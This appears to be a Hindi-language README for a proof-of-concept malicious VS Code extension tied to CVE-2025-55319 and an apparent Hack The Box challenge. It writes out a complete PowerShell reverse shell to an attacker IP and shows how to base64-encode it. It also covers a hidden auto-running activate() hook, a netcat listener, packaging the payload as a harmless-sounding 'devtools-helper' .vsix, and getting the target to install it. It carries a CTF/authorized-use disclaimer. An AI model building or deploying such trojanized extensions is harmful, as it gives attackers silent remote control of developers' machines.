
PoC for CVE-2025-55319
संदर्भ: CVE-2025-55319
HTB "Checkpoint" चुनौती के लिए प्रूफ-ऑफ-कॉन्सेप्ट VS Code (.vsix) एक्सटेंशन। एक बार इंस्टॉल होने के बाद, एक्सटेंशन स्वचालित रूप से सक्रिय हो जाता है और हमलावर के पास एक छिपा हुआ PowerShell रिवर्स शेल भेजता है।
⚠️ केवल अधिकृत उपयोग। यह एक CTF/लैब आर्टिफैक्ट है। इसे केवल उन मशीनों पर तैनात करें जिनके आप मालिक हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है (जैसे, एक HTB लक्ष्य बॉक्स)।
extension/package.json — एक्सटेंशन मैनिफेस्ट। "activationEvents": ["*"] इसे VS Code लोड होते ही चलाता है, बिना किसी उपयोगकर्ता अंतःक्रिया के।extension/extension.js — activate() पर, -WindowStyle Hidden -NoProfile के साथ base64-एन्कोडेड PowerShell पेलोड को निष्पादित करता है, एक मौन रिवर्स शेल के लिए।[Content_Types].xml — OpenXML सामग्री-प्रकार मैनिफेस्ट ताकि फ़ोल्डर को एक वैध .vsix पैकेज में ज़िप किया जा सके।.
├── [Content_Types].xml # VSIX content-type manifest
└── extension/
├── package.json # extension manifest (activates on "*")
└── extension.js # reverse-shell payload
अपने अटैक बॉक्स को इंगित करने वाला base64 (UTF-16LE) PowerShell रिवर्स शेल जनरेट करें:
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0
आउटपुट को extension/extension.js में YOUR_BASE64_PAYLOAD_HERE पर पेस्ट करें:
const payload = '<base64-blob-here>'
nc -lvnp 4443
.vsix सिर्फ एक ZIP है जिसमें extension/ फ़ोल्डर और रूट पर मैनिफेस्ट होता है:
# from this directory
zip -r devtools-helper.vsix extension "[Content_Types].xml"
लक्ष्य को एक्सटेंशन इंस्टॉल करवाएं। या तो:
code --install-extension devtools-helper.vsix··· menu → Install from VSIX…अगले VS Code लॉन्च पर (या इंस्टॉल के तुरंत बाद), * सक्रियण ईवेंट फायर होता है, पेलोड चलता है, और आपका लिसनर शेल प्राप्त करता है।
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>
काम पूरा होने पर लक्ष्य से एक्सटेंशन हटाएं:
code --uninstall-extension devtools.devtools-helper
extension.js समायोजित करें।extension.js में os आयात किया गया है लेकिन अप्रयुक्त है — यदि आप Linux/macOS लक्ष्यों का समर्थन करने के लिए os.platform() पर शाखा बनाना चाहते हैं तो उपयोगी है।package.json में version बढ़ाएं।